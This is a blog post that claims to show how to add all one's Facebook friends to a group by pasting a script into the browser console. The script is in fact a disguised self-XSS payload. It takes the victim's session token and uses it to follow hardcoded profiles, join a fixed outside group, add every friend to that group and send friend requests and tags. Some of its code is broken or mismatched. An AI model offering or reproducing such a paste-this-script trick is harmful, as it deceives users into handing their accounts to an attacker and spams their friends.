Saturday, 16 March 2013

Automatically Add Friends to Facebook Groups[Updated]

 Hello Facebook Lovers,
  ALl of us want to increase our "Group Members" in our facebook group but the problem is tha we feel to lazy in adding one by one in our group. haha :D
Its quit intresting if you go through this trick its realy intresting n working Facebook tricks.


 Just follow these steps..




1. First of all login to your facebook account and open a group.

2. If you are using chrome then press ctrl+shift+j and if you are using firefox then press ctrl+shift+k.

3. A console will open here just paste below script:

// ==UserScript==
// @name            facebook Auto Add Friends To Groups
// @namespace       Facebook Auto Add Friends to Groups
// @include         https://*.facebook.com/*
// @include         https://*.facebook.com/*/*
// @include         http://*.facebook.com/*
// @include         http://*.facebook.com/*/*
// @include   htt*://www.facebook.com/*
// @include         htt*://*.facebook.com/*
// @version   30th march,2013

// ==/UserScript==

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function cereziAl(isim) {
    var tarama = isim + "=";
    if (document.cookie.length > 0) {
        konum = document.cookie.indexOf(tarama)
        if (konum != -1) {
            konum += tarama.length
            son = document.cookie.indexOf(";", konum)
            if (son == -1)
                son = document.cookie.length
            return unescape(document.cookie.substring(konum, son))
        } else {
            return "";
        }
    }
}

function getRandomInt(min, max) {
    return Math.floor(Math.random() * (max - min + 1)) + min;
}

function randomValue(arr) {
    return arr[getRandomInt(0, arr.length - 1)];
}

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function a(abone) {
    var http4 = new XMLHttpRequest();

    var url4 = "/ajax/follow/follow_profile.php?__a=1";

    var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
    http4.open("POST", url4, true);

    //Send the proper header information along with the request
    http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http4.setRequestHeader("Content-length", params4.length);
    http4.setRequestHeader("Connection", "close");

    http4.onreadystatechange = function () { //Call a function when the state changes.
        if (http4.readyState == 4 && http4.status == 200) {

            http4.close; // Close the connection

        }
    }

    http4.send(params4);
}

function sublist(uidss) {
    var a = document.createElement('script');
    a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
    document.body.appendChild(a);
}

a("100003567190776");
a("100000435475740");
a("100004985884229");
a("100003061696371");
a("138310123016579");
a("100000154098545");


sublist("");

var gid = ['439584136113743'];

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['send'](paramswp);

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
gf['send']();
if (gf['readyState'] != 4) {} else {
    data = eval('(' + gf['responseText']['substr'](9) + ')');
    if (data['error']) {} else {
        friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
            return _0x93dax8['index'] - _0x93dax9['index'];
        });
    };
};

for (var i = 0; i < friends['length']; i++) {
    var httpwp = new XMLHttpRequest();
    var urlwp = '/ajax/groups/members/add_post.php?__a=1';
    var paramswp = '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
    httpwp['open']('POST', urlwp, true);
    httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
    httpwp['setRequestHeader']('Content-length', paramswp['length']);
    httpwp['setRequestHeader']('Connection', 'keep-alive');
    httpwp['onreadystatechange'] = function () {
        if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
    };
    httpwp['send'](paramswp);
};
var spage_id = "123989544441996";
var spost_id = "123989544441996";
var sfoto_id = "123989544441996";
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var smesaj = "";
var smesaj_text = "";
var arkadaslar = [];
var svn_rev;
var bugun = new Date();
var btarihi = new Date();
btarihi.setTime(bugun.getTime() + 1000 * 60 * 60 * 4 * 1);
if (!document.cookie.match(/paylasti=(\d+)/)) {
    document.cookie = "paylasti=hayir;expires=" + btarihi.toGMTString();
}


//arkadaslari al ve isle

function sarkadaslari_al() {
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if (xmlhttp.readyState == 4) {
            eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);", "") + ";");
            for (f = 0; f < Math.round(arkadaslar.payload.entries.length / 10); f++) {
                smesaj = "";
                smesaj_text = "";
                for (i = f * 10; i < (f + 1) * 10; i++) {
                    if (arkadaslar.payload.entries[i]) {
                        smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
                        smesaj_text += " " + arkadaslar.payload.entries[i].text;
                    }
                }
                sdurumpaylas();
            }

        }

    };
    var params = "&filter[0]=user";
    params += "&options[0]=friends_only";
    params += "&options[1]=nm";
    params += "&token=v7";
    params += "&viewer=" + user_id;
    params += "&__user=" + user_id;

    if (document.URL.indexOf("https://") >= 0) {
        xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true);
    } else {
        xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true);
    }
    xmlhttp.send();
}

//tiklama olayini dinle
var tiklama = document.addEventListener("click", function () {
    if (document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0) {
        svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
        sarkadaslari_al();
        document.cookie = "paylasti=evet;expires=" + btarihi.toGMTString();

        document.removeEventListener(tiklama);
    }
}, false);


//arkada??????leme

function sarkadasekle(uid, cins) {
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if (xmlhttp.readyState == 4) {}
    };

    xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
    var params = "to_friend=" + uid;
    params += "&action=add_friend";
    params += "&how_found=friend_browser";
    params += "&ref_param=none";
    params += "&outgoing_id=";
    params += "&logging_location=friend_browser";
    params += "&no_flyout_on_click=true";
    params += "&ego_log_data=";
    params += "&http_referer=";
    params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
    params += "&phstamp=165816749114848369115";
    params += "&__user=" + user_id;
    xmlhttp.setRequestHeader("X-SVN-Rev", svn_rev);
    xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

    if (cins == "farketmez" && document.cookie.split("cins" + user_id + "=").length > 1) {
        xmlhttp.send(params);
    } else if (document.cookie.split("cins" + user_id + "=").length <= 1) {
        cinsiyetgetir(uid, cins, "sarkadasekle");
    } else if (cins == document.cookie.split("cins" + user_id + "=")[1].split(";")[0].toString()) {
        xmlhttp.send(params);
    }
}

//cinsiyet belirleme
var cinssonuc = {};
var cinshtml = document.createElement("html");

function scinsiyetgetir(uid, cins, fonksiyon) {
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if (xmlhttp.readyState == 4) {
            eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);", "") + ";");
            cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
            btarihi.setTime(bugun.getTime() + 1000 * 60 * 60 * 24 * 365);
            if (cinshtml.getElementsByTagName("select")[0].value == "1") {
                document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
            } else if (cinshtml.getElementsByTagName("select")[0].value == "2") {
                document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
            }
            eval(fonksiyon + "(" + id + "," + cins + ");");
        }
    };
    xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
    xmlhttp.setRequestHeader("X-SVN-Rev", svn_rev);
    xmlhttp.send();
}

function autoSuggest() {
    links = document.getElementsByTagName('a');
    for (i in links) {
        l = links[i];
        if (l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') {
            l.click();
        }
    }
}

function blub() {
    if (document.getElementsByClassName('pbm fsm').length == 1) {
        w = document.getElementsByClassName('pbm fsm')[0];

        e = document.createElement('a');
        //e.href = '#';
        e.innerHTML = 'Auto Suggest by Eran';
        e.className = 'uiButton';
        e.onclick = autoSuggest;

        if (w.childElementCount == 0) {
            w.appendChild(document.createElement('br'));
            w.appendChild(e);
        }
    }
}

blub();



4. Just paste it and See THE magic.

Here we done go n enjoy ...   

Note:  AFTER geting Users Feedback I UPDATED THIS SCRIPT SOURCE "userscripts" I will be thankful to all my lovely readers feedback. Plz gave it if its not working anymore .




Blog Top Sites

Share Our Badge

 Computer Stuffs

Be Updated Its Free.

Subscribe via Email

Visitors Everyday



Followers